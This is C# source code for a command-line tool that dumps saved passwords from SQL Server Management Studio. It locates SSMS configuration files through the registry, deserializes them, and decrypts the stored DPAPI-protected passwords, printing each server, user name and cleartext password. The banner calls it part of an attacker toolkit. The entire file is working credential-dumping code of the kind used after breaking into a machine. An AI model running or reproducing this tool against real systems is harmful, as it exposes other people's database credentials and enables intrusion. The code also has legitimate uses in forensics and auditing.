using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using Microsoft.Win32;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Collections.Specialized;
using System.Runtime.Serialization.Formatters.Binary;
public class a{
static bool _all=false;
static bool _issem=false;
static int _ver=0;
static string asmdir=null;
static string datpath=null;
static void help()
{
  Console.WriteLine(@"usage: ssmspwd [-f file] [-p path] [-all]
       -f: decrypt from specified file
       -p: set assemblies path
       -a: dump all saved info(only dump password information default)");
  Environment.Exit(-1);
}
public static void Main(string[] args){
Console.WriteLine("SQL Server Management Studio(SSMS) saved password dumper.");
Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(LoadDependsAssemblies);
try{for(int i=0;i<args.Length;i++)
{
  if(stricmp(args[i],"-a")){_all=true;}
  else if(stricmp(args[i],"-f")){i++;datpath=args[i];}
  else if(stricmp(args[i],"-p")){i++;asmdir=args[i]+"\\";}
  else{help();}
}}catch{help();}
try{
if(asmdir==null)
{
  RegistryKey rk=Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Microsoft SQL Server\");
  if(rk==null){Console.WriteLine("can not get assemblies path,please use -p to set");return;}
  foreach(string s in rk.GetSubKeyNames())
  {
    int i=0;
    if(int.TryParse(s,out i))
    {
      string dir=Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\"+i+@"\Tools\ShellSEM","InstallDir",null) as string;
      if(dir!=null){_issem=true;}
      if(dir==null){dir=Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\"+i+@"\Tools\Shell","InstallDir",null) as string;}
      if(dir==null){dir=Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\"+i+@"\Tools\ClientSetup","SqlToolsPath",null) as string;}
      if(dir!=null){_ver=i;asmdir=dir;break;}
    }
  }
  if(asmdir==null){Console.WriteLine("can not get assemblies path,please use -p to set");return;}
}
if(datpath==null)
{
  string appdata=Environment.GetEnvironmentVariable("appdata")+"\\";
  switch(_ver)
  {
    case 0:
    {
      Console.WriteLine("can not get version ,please use -f to set filepath",_ver);
      return;
    }
    case 90:
    {
      if(_issem){datpath=appdata+@"Microsoft\Microsoft SQL Server\90\Tools\ShellSEM\mru.dat";}
      else{datpath=appdata+@"Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat";}
      break;
    }
    case 100:
    {
      datpath=appdata+@"Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin";
      break;
    }
    case 110:
    {
      datpath=appdata+@"Microsoft\SQL Server Management Studio\11.0\SqlStudio.bin";
      break;
    }
    case 120:
    {
      datpath=appdata+@"Microsoft\SQL Server Management Studio\12.0\SqlStudio.bin";
      break;
    }
    default:
    {
      Console.WriteLine("unknown ver {0} ,please use -f to set filepath",_ver);
      return;
    }
  }
}

object o=DeserializeFile(datpath);
List<info> infos=null;
if(_ver==90){infos=DecodeStudio90(o);}
else{infos=DecodeStudioHigh(o);}
dumpinfo(infos);
}catch(Exception ex){Console.WriteLine("some thing error:{0}\r\n{1}\r\n",ex.Message,ex);}
}
static object GetObjectPrivateDicvalue(Type t,object obj,string key)
{
  IDictionary dic=GetObjectPrivateDic(t,obj);
  return dic[key];
}
static IDictionary GetObjectPrivateDic(Type t,object obj)
{
  return t.InvokeMember("_valuestorage",BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.GetField,null,obj,null) as IDictionary;
}
static List<info> DecodeStudio90(object obj)
{
  Type t=obj.GetType();
  List<info> infos=new List<info>();
  IDictionary dic=t.InvokeMember("stringTable",BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.GetField,null,obj,null) as IDictionary;
  if(dic!=null)
  {
    foreach(object k in dic.Keys)
    {
      string[] arr=k.ToString().Split('@');
      if(arr.Length==5)
      {
        string server=arr[1];
        string type=arr[2];
        string user=arr[3];
        string field=arr[4];
        info inf=null;
        foreach(info i in infos)
        {
          if(i.server==server && i.user==user &&i.type==type)
          {
            inf=i;
            break;
          }
        }
        if(inf==null)
        {
          inf=new info();
          inf.server=server;
          inf.user=user;
          inf.type=type;
          infos.Add(inf);
        }
        if(field=="Password")
        {
          IEnumerable data=dic[k] as IEnumerable;
          if(data!=null)
          {
            IEnumerator ie=data.GetEnumerator();
            ie.MoveNext();
            inf.pass=decodepassword(ie.Current.ToString());
          }
        }
      }
    }
  }
  return infos;
}
static List<info> DecodeStudioHigh(object o)
{
List<info> infos=new List<info>();
Type t=o.GetType().BaseType;
o=GetObjectPrivateDicvalue(t,o,"SSMS");
o=GetObjectPrivateDicvalue(t,o,"ConnectionOptions");
o=GetObjectPrivateDicvalue(t,o,"ServerTypes");
IDictionary dic=o as IDictionary;
foreach(object k in dic.Keys)
{
  o=dic[k];
  IEnumerable data=GetObjectPrivateDicvalue(t,o,"Servers") as IEnumerable;//dic2[kk] as IEnumerable;
  if(data!=null)
  {
    IEnumerator ie=data.GetEnumerator();
    while(ie.MoveNext())
    {
      IEnumerable data2=GetObjectPrivateDicvalue(t,ie.Current,"Connections") as IEnumerable;
      if(data2!=null)
      {
        IEnumerator ie2=data2.GetEnumerator();
        while(ie2.MoveNext())
        {
          info inf=new info();
          inf.server=GetObjectPrivateDicvalue(t,ie.Current,"Instance") as string;
          inf.type=Convert.ToInt32(GetObjectPrivateDicvalue(t,ie.Current,"AuthenticationMethod")).ToString();
          inf.pass=decodepassword(GetObjectPrivateDicvalue(t,ie2.Current,"Password") as string);
          inf.user=GetObjectPrivateDicvalue(t,ie2.Current,"UserName") as string;
          infos.Add(inf);
        }
      }
    }
  }
}
return infos;
}
static string getauthtype(string type)
{
  if(type==null){return "(not set)";}
  switch(type)
    {
      case "0":{return "Windows";}
      case "1":{return "SQL Server";}
      default:{return "Unknown";}
    }
}
static void dumpinfo(List<info> infos)
{
  foreach(info inf in infos)
  {
    if(_all || inf.pass!=null)
    Console.WriteLine("server: {0}\r\nUser: {1}\r\nType: {2}\r\nPassword: {3}\r\n",getnotnullstr(inf.server),getnotnullstr(inf.user),getnotnullstr(getauthtype(inf.type)),getnotnullstr(inf.pass));
  }
}
static string getnotnullstr(string s)
{
  if(string.IsNullOrEmpty(s)){return "(not set)";}
  return s;
}
static string decodepassword(string enc)
{
  try
  {
    if(String.IsNullOrEmpty(enc)){return null;}
    return Encoding.Unicode.GetString(ProtectedData.Unprotect(Convert.FromBase64String(enc),new byte[]{},DataProtectionScope.LocalMachine));
  }catch(Exception ex){return "(dec err : "+ex.Message.Replace("\r\n","")+")\r\n";}
}
static Assembly LoadDependsAssemblies(object sender, ResolveEventArgs args)
{
  AssemblyName asn=new AssemblyName(args.Name);
  try
  {
    string dllpath=asmdir+asn.Name+".dll";
    Assembly asm=Assembly.LoadFile(dllpath);
    return asm;
  }catch(Exception ex){if(asn.Name=="System"){Console.WriteLine("SSMS version was too high, please re-compile this program with .net 4.0 .");}else{Console.WriteLine(ex);}Environment.Exit(-1);}
  return null;
}
static object DeserializeFile(string path)
{
  using(MemoryStream mem=new MemoryStream(File.ReadAllBytes(path)))
  {
    mem.Position=0;
    BinaryFormatter bf=new BinaryFormatter();
    return bf.Deserialize(mem);
  }
}
static bool stricmp(string s1,string s2){return string.Equals(s1,s2,StringComparison.OrdinalIgnoreCase);}
class info
{
  public string server=null;
  public string user=null;
  public string pass=null;
  public string type=null;
}
}